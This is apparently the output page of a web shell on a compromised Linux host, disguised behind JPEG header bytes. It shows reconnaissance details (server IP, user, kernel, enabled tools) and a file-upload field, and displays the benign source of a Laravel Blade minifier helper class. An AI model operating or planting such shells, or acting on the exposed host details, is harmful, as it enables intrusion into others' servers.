ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/radic/blade-extensions/src/Helpers/Minifier/ |
Upload File : |
<?php
/**
* Copyright (c) 2017. Robin Radic.
*
* The license can be found in the package and online at https://radic.mit-license.org.
*
* @copyright 2017 Robin Radic
* @license https://radic.mit-license.org MIT License
* @version 7.0.0
*/
namespace Radic\BladeExtensions\Helpers\Minifier;
/**
* This is the Minifier.
*
* @author Caffeinated Dev Team
* @copyright Copyright (c) 2015, Caffeinated
* @license https://tldrlegal.com/license/mit-license MIT License
*/
class MinifierHelper
{
/**
* @var
*/
protected $type;
/**
* open.
*
* @param $type
*/
public function open($type)
{
$this->type = trim(strtolower($type));
ob_start();
}
/**
* close.
*/
public function close()
{
$code = ob_get_clean();
echo $this->minify($this->type, $code);
$this->type = null;
}
/**
* minify.
*
* @param $type
* @param $code
*
* @return string
*/
protected function minify($type, $code)
{
$types = ['html', 'css', 'js'];
if (! in_array($type, $types, true)) {
$typeStr = implode(', ', $types);
throw new \InvalidArgumentException("BladeExtensions Minifier could not minify your code, you haven't specified a valid type. Given: [{$type}]. Allowed: [{$typeStr}]");
}
if ($type === 'html') {
return $this->compileMinify($code);
} elseif ($type === 'css' && class_exists('MatthiasMullie\Minify\CSS')) {
return with(new \MatthiasMullie\Minify\CSS($code))->execute();
} elseif ($type === 'js' && class_exists('MatthiasMullie\Minify\JS')) {
return with(new \MatthiasMullie\Minify\JS($code))->execute();
} else {
return $code;
}
}
/**
* @author https://github.com/yocmen/html-minify
*
* @param string $value the contents of the view file
*
* @return bool
*/
protected function shouldMinify($value)
{
if (preg_match('/skipmin/', $value)
|| preg_match('/<(pre|textarea)/', $value)
|| preg_match('/<script[^\??>]*>[^<\/script>]/', $value)
|| preg_match('/value=("|\')(.*)([ ]{2,})(.*)("|\')/', $value)
) {
return false;
} else {
return true;
}
}
/**
* Compress the HTML output before saving it.
*
* @author https://github.com/yocmen/html-minify
*
* @param string $value the contents of the view file
*
* @return string
*/
protected function compileMinify($value)
{
if ($this->shouldMinify($value)) {
$replace = [
'/<!--[^\[](.*?)[^\]]-->/s' => '',
'/<\?php/' => '<?php ',
'/\n([\S])/' => ' $1',
'/\r/' => '',
'/\n/' => '',
'/\t/' => ' ',
'/ +/' => ' ',
'/>\s</' => '><',
];
return preg_replace(
array_keys($replace),
array_values($replace),
$value
);
} else {
return $value;
}
}
}